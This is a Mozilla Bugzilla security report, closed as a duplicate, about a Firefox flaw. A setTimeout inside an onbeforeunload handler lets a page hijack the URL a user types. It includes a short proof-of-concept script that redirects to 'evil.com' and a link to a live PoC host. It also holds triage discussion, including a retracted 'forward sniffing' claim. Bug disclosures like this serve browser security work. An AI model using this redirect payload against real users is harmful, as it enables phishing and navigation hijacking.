Closed
Bug 1290834
Opened 8 years ago
Closed 8 years ago
onbeforeunload allows attacker to hijack page load
Categories
(Core :: DOM: Navigation, defect)
Core
DOM: Navigation
Tracking
()
RESOLVED
DUPLICATE
of bug 1263100
People
(Reporter: rskansing, Unassigned)
References
(Blocks 1 open bug)
Details
(Keywords: sec-low)
User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36
Steps to reproduce:
Visit http://159.203.190.123/moz/unloadhijack.tml in firefox and follow the instructions
OR
- Make a page with the following script
<p>Change the url</p>
<script>
window.onbeforeunload = function()
{
setTimeout(function() {
window.document.writeln('<script>window.location.href = "//evil.com";<\/script>');
}, 0);
return "quux";
};
</script>
- Open the page
- Change the url to facbook.com in the address bar
Actual results:
Firefox opens evil.com instead of the expected facebook.com
Expected results:
Victim should have opened facebook.com or been notificed that their intended navigation has been canceled.
The culprint is that adding a timeout to a unbeforeload event allows use of some methods that would not / should not be possible in the event.
In this case the attacker is able to write and execute scripts in window context before handling the loading of the new page.
This allows attackers to
- Snoop on users before they exit the page (forward sniffing)
- Phishing attacks
- Degrading from https to http on site which allow both.
- etc
Bonus: a setTimeout event inside a unbeforeload also allows the attacker to do alert dialogs after the user has confirmed to load the new page.
I tested this on
- Firefox 47 on Ubuntu 16.04
- Firefox 47.0.1 on Windows 8
For the forward sniffing, I should mention that, whatever the victim enters in the url, the attacker can access it inside the setTimeout (inside the onbeforeunload). A quick repo can done by adding alert(document.domain) inside the setTimeout callback, it should flash quickly with the url enter.
Summary: onbeforeunload allows attacker to hijack url entered. → onbeforeunload allows attacker to hijack page load
Actually, ignore the forward sniffing, cant reproduce that anymore.
Comment 3•8 years ago
|
||
Olli, is this expected behavior? Is this a possible security issue we should fix?
Group: firefox-core-security → core-security
Component: Untriaged → Document Navigation
Flags: needinfo?(bugs)
Product: Firefox → Core
Comment 4•8 years ago
|
||
we do seem to prevent direct navigation in the onbeforeunload so this works around it (should check onunload too). Safari seems to have the same behavior we do (end up on example.com instead of the site you pick). Chrome initially loads example.com and then quickly replaces it with the site you entered into the location bar. Didn't play with the timeout value to see if a longer one would simply get canceled or if it would race with and replace the selected site.
Was not able to reproduce the more serious "forward sniffing" claim but I only spent a couple of minutes poking at this. Needs more investigation (or a PoC from the reporter)
Group: core-security → dom-core-security
Status: UNCONFIRMED → NEW
Ever confirmed: true
The forward sniffing was a false positive from me, I have to reproduce it without any success.
*I have tried to reproduce it, without any success. So I am quite sure it was just me mistaken origins while testing.
Comment 7•8 years ago
|
||
Unhiding because the result doesn't seem terrible (user will end up hijacked, but should notice it's not the place they typed in).
Comment 8•8 years ago
|
||
They might not notice if the page is disguised as another popular website and they're trying to navigate to that website.
Comment 9•8 years ago
|
||
Feels like we should already have this on file somewhere, but maybe I'm wrong...
IIRC we set a flag when beforeunload fires and isn't cancelled, so maybe we should just deny navigation after that, full stop?
Reporter | ||
Comment 10•8 years ago
|
||
I think the point was that this opens for phishing attack where the victim can not trust the url they just entered in the url.
I am not sure its great to have open?
Comment 11•8 years ago
|
||
Dupe of bug 839470 and/or bug 1263100 ?
Comment 12•8 years ago
|
||
Let's go with bug 1263100 (we can always reverse).
Status: NEW → RESOLVED
Closed: 8 years ago
Resolution: --- → DUPLICATE
Updated•8 years ago
|
Flags: needinfo?(bugs)
You need to log in
before you can comment on or make changes to this bug.
Description
•